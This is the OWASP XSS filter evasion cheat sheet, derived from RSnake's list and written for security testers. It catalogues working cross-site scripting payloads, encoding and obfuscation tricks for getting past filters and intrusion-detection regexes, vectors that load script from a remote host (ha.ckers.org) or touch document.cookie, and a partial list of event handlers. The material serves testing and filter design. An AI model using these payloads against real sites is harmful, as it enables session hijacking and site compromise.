This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]], was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [[Cheat_Sheets | OWASP Cheat Sheet Series]] was born.&lt;br /&gt;
&lt;br /&gt;
= Tests =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. &lt;br /&gt;
&lt;br /&gt;
Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.&lt;br /&gt;
&lt;br /&gt;
== XSS Locator ==&lt;br /&gt;
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &amp;quot;XSS&amp;quot; will pop up. Use this [http://ha.ckers.org/xsscalc.html URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated &amp;quot;&amp;lt;PLAINTEXT&amp;gt;&amp;quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:&lt;br /&gt;
&lt;br /&gt;
 ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//&amp;amp;quot;;&lt;br /&gt;
 alert(String.fromCharCode(88,83,83))//&amp;amp;quot;;alert(String.fromCharCode(88,83,83))//--&lt;br /&gt;
 &amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;amp;quot;&amp;amp;gt;'&amp;amp;gt;&amp;amp;lt;SCRIPT&amp;amp;gt;alert(String.fromCharCode(88,83,83))&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS locator 2 ==&lt;br /&gt;
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for &amp;lt;XSS verses &amp;amp;amp;lt;XSS to see if it is vulnerable:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;#39;&amp;amp;#39;;!--&amp;quot;&amp;amp;lt;XSS&amp;amp;gt;=&amp;amp;amp;{()}&lt;br /&gt;
&lt;br /&gt;
== No Filter Evasion ==&lt;br /&gt;
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=http:&amp;amp;#47;&amp;amp;#47;ha.ckers.org&amp;amp;#47;xss.js&amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Image XSS using the JavaScript directive ==&lt;br /&gt;
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No quotes and no semicolon ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Case insensitive XSS attack vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML entities == &lt;br /&gt;
The semicolons are required for this to work:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Grave accent obfuscation ==&lt;br /&gt;
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:&lt;br /&gt;
 &amp;amp;lt;IMG SRC=`javascript:alert(&amp;quot;RSnake says, 'XSS'&amp;quot;)`&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed A tags ==&lt;br /&gt;
Skip the HREF attribute and get to the meat of the XXS...&lt;br /&gt;
Submitted by David Cross ~ Verified on Chrome&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=alert(document.cookie)&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed IMG tags ==&lt;br /&gt;
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG &amp;quot;&amp;quot;&amp;quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== fromCharCode ==&lt;br /&gt;
if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag to get past filters that check SRC domain ==&lt;br /&gt;
This will bypass most SRC domain filters.  Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc.  It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here.&lt;br /&gt;
Submitted by David Cross.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=# onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it empty ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC= onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it out entirely ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references ==&lt;br /&gt;
all of the XSS examples that use a javascript: directive inside of an &amp;lt;IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS  [http://ha.ckers.org/xsscalc.html Calculator] for more information:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG SRC=&amp;amp;amp;#106;&amp;amp;amp;#97;&amp;amp;amp;#118;&amp;amp;amp;#97;&amp;amp;amp;#115;&amp;amp;amp;#99;&amp;amp;amp;#114;&amp;amp;amp;#105;&amp;amp;amp;#112;&amp;amp;amp;#116;&amp;amp;amp;#58;&amp;amp;amp;#97;&amp;amp;amp;#108;&amp;amp;amp;#101;&amp;amp;amp;#114;&amp;amp;amp;#116;&amp;amp;amp;#40;&lt;br /&gt;
 &amp;amp;amp;#39;&amp;amp;amp;#88;&amp;amp;amp;#83;&amp;amp;amp;#83;&amp;amp;amp;#39;&amp;amp;amp;#41;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is often effective in XSS that attempts to look for &amp;quot;&amp;amp;#XX;&amp;quot;, since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;&lt;br /&gt;
 #0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hexadecimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS [http://ha.ckers.org/xsscalc.html calculator] for more information:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded tab == &lt;br /&gt;
Used to break up the cross site scripting attack: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded Encoded tab ==&lt;br /&gt;
Use this one to break up XSS :&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded newline to break up XSS ==&lt;br /&gt;
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0A;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded carriage return to break up XSS ==&lt;br /&gt;
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0D;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Null breaks up JavaScript directive ==&lt;br /&gt;
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:&lt;br /&gt;
&lt;br /&gt;
 perl -e 'print &amp;quot;&amp;lt;IMG SRC=java\0script:alert(\&amp;quot;XSS\&amp;quot;)&amp;gt;&amp;quot;;' &amp;gt; out&lt;br /&gt;
&lt;br /&gt;
== Spaces and meta chars before the JavaScript in images for XSS ==&lt;br /&gt;
This is useful if the pattern match doesn't take into account spaces in the word &amp;quot;javascript:&amp;quot; -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the &amp;quot;javascript:&amp;quot; keyword. The actual reality is you can have any char from 1-32 in decimal:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot; &amp;amp;#14;  javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Non-alpha-non-digit XSS ==&lt;br /&gt;
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. &lt;br /&gt;
For example &amp;quot;&amp;lt;SCRIPT\s&amp;quot; != &amp;quot;&amp;lt;SCRIPT/XSS\s&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/XSS SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&amp;quot;XSS&amp;quot;)&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Extraneous open brackets ==&lt;br /&gt;
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:&lt;br /&gt;
 &amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No closing script tags ==&lt;br /&gt;
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the &amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;quot; portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt; B &amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Protocol resolution in script tags ==&lt;br /&gt;
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &amp;lt;/SCRIPT&amp;gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &amp;quot;.j&amp;quot; is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.&lt;br /&gt;
 &lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Half open HTML/JavaScript XSS vector ==&lt;br /&gt;
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &amp;quot;&amp;gt;&amp;quot; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|&amp;lt;)[^\n]+((\%3E)|&amp;gt;)/ because it doesn't require the end &amp;quot;&amp;gt;&amp;quot;. As a side note, this was also affective against a real world XSS filter I came across using an open ended &amp;lt;IFRAME tag instead of an &amp;lt;IMG tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS')&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== Double open angle brackets ==&lt;br /&gt;
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Escaping JavaScript escapes ==&lt;br /&gt;
When the application is written to output some user information inside of a JavaScript like the following: &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;$ENV{QUERY_STRING}&amp;quot;;&amp;lt;/SCRIPT&amp;gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;\\&amp;quot;;alert('XSS');//&amp;quot;;&amp;lt;/SCRIPT&amp;gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:&lt;br /&gt;
&lt;br /&gt;
 \&amp;quot;;alert('XSS');//&lt;br /&gt;
&lt;br /&gt;
== End title tag ==&lt;br /&gt;
This is a simple XSS vector that closes &amp;lt;TITLE&amp;gt; tags, which can encapsulate the malicious cross site scripting attack:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==INPUT image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;INPUT TYPE=&amp;quot;IMAGE&amp;quot; SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG Dynsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG DYNSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG lowsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG LOWSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== List-style-image ==&lt;br /&gt;
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&amp;lt;/br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBscript in an image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC='vbscript:msgbox(&amp;quot;XSS&amp;quot;)'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Livescript (older versions of Netscape only) ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;livescript:[code]&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY tag ==&lt;br /&gt;
Method doesn't require using any variants of &amp;quot;javascript:&amp;quot; or &amp;quot;&amp;lt;SCRIPT...&amp;quot; to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (&amp;quot;onload=&amp;quot; != &amp;quot;onload =&amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Event Handlers ==&lt;br /&gt;
&lt;br /&gt;
It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.&lt;br /&gt;
&lt;br /&gt;
The [http://help.dottoro.com/ Dottoro Web Reference] also has a nice [http://help.dottoro.com/ljfvvdnm.php list of events in JavaScript].&lt;br /&gt;
&lt;br /&gt;
# &amp;lt;code&amp;gt;FSCommand()&amp;lt;/code&amp;gt; (attacker can use this when executed from within an embedded Flash object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAbort()&amp;lt;/code&amp;gt; (when user aborts the loading of an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onActivate()&amp;lt;/code&amp;gt; (when object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterPrint()&amp;lt;/code&amp;gt; (activates after user prints or previews print job)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterUpdate()&amp;lt;/code&amp;gt; (activates on data object after updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeActivate()&amp;lt;/code&amp;gt; (fires before the object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCopy()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCut()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is cut)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeDeactivate()&amp;lt;/code&amp;gt; (fires right after the activeElement is changed from the current object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeEditFocus()&amp;lt;/code&amp;gt; (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePaste()&amp;lt;/code&amp;gt; (user needs to be tricked into pasting or be forced into it using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePrint()&amp;lt;/code&amp;gt; (user would need to be tricked into printing or attacker could use the &amp;lt;code&amp;gt;print()&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;execCommand(&amp;quot;Print&amp;quot;)&amp;lt;/code&amp;gt; function).&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUnload()&amp;lt;/code&amp;gt; (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUpdate()&amp;lt;/code&amp;gt; (activates on data object before updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBegin()&amp;lt;/code&amp;gt; (the onbegin event fires immediately when the element's timeline begins)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBlur()&amp;lt;/code&amp;gt; (in the case where another popup is loaded and window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBounce()&amp;lt;/code&amp;gt; (fires when the behavior property of the marquee object is set to &amp;quot;alternate&amp;quot; and the contents of the marquee reach one side of the window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCellChange()&amp;lt;/code&amp;gt; (fires when data changes in the data provider)&lt;br /&gt;
# &amp;lt;code&amp;gt;onChange()&amp;lt;/code&amp;gt; (select, text, or TEXTAREA field loses focus and its value has been modified)&lt;br /&gt;
# &amp;lt;code&amp;gt;onClick()&amp;lt;/code&amp;gt; (someone clicks on a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onContextMenu()&amp;lt;/code&amp;gt; (user would need to right click on attack area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onControlSelect()&amp;lt;/code&amp;gt; (fires when the user is about to make a control selection of the object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCopy()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCut()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Cut&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataAvailable()&amp;lt;/code&amp;gt; (user would need to change data in an element, or attacker could perform the same function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetChanged()&amp;lt;/code&amp;gt; (fires when the data set exposed by a data source object changes)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetComplete()&amp;lt;/code&amp;gt; (fires to indicate that all data is available from the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDblClick()&amp;lt;/code&amp;gt; (user double-clicks a form element or a link)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDeactivate()&amp;lt;/code&amp;gt; (fires when the activeElement is changed from the current object to another object in the parent document)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrag()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnd()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragLeave()&amp;lt;/code&amp;gt; (requires that the user drags an object off a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnter()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragOver()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragStart()&amp;lt;/code&amp;gt; (occurs when user starts drag operation)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onEnd()&amp;lt;/code&amp;gt; (the onEnd event fires when the timeline ends.    &lt;br /&gt;
# &amp;lt;code&amp;gt;onError()&amp;lt;/code&amp;gt; (loading of a document or image causes an error)&lt;br /&gt;
# &amp;lt;code&amp;gt;onErrorUpdate()&amp;lt;/code&amp;gt; (fires on a databound object when an error occurs while updating the associated data in the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFilterChange()&amp;lt;/code&amp;gt; (fires when a visual filter completes state change)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFinish()&amp;lt;/code&amp;gt; (attacker can create the exploit when marquee is finished looping)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocus()&amp;lt;/code&amp;gt; (attacker executes the attack string when the window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusIn()&amp;lt;/code&amp;gt; (attacker executes the attack string when window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusOut()&amp;lt;/code&amp;gt; (attacker executes the attack string when window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHashChange()&amp;lt;/code&amp;gt; (fires when the fragment identifier part of the document's current address changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHelp()&amp;lt;/code&amp;gt; (attacker executes the attack string when users hits F1 while the window is in focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onInput()&amp;lt;/code&amp;gt; (the text content of an element is changed through the user interface)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyDown()&amp;lt;/code&amp;gt; (user depresses a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyPress()&amp;lt;/code&amp;gt; (user presses or holds down a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyUp()&amp;lt;/code&amp;gt; (user releases a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLayoutComplete()&amp;lt;/code&amp;gt; (user would have to print or print preview)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoad()&amp;lt;/code&amp;gt; (attacker executes the attack string after the window loads)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoseCapture()&amp;lt;/code&amp;gt; (can be exploited by the &amp;lt;code&amp;gt;releaseCapture()&amp;lt;/code&amp;gt; method)&lt;br /&gt;
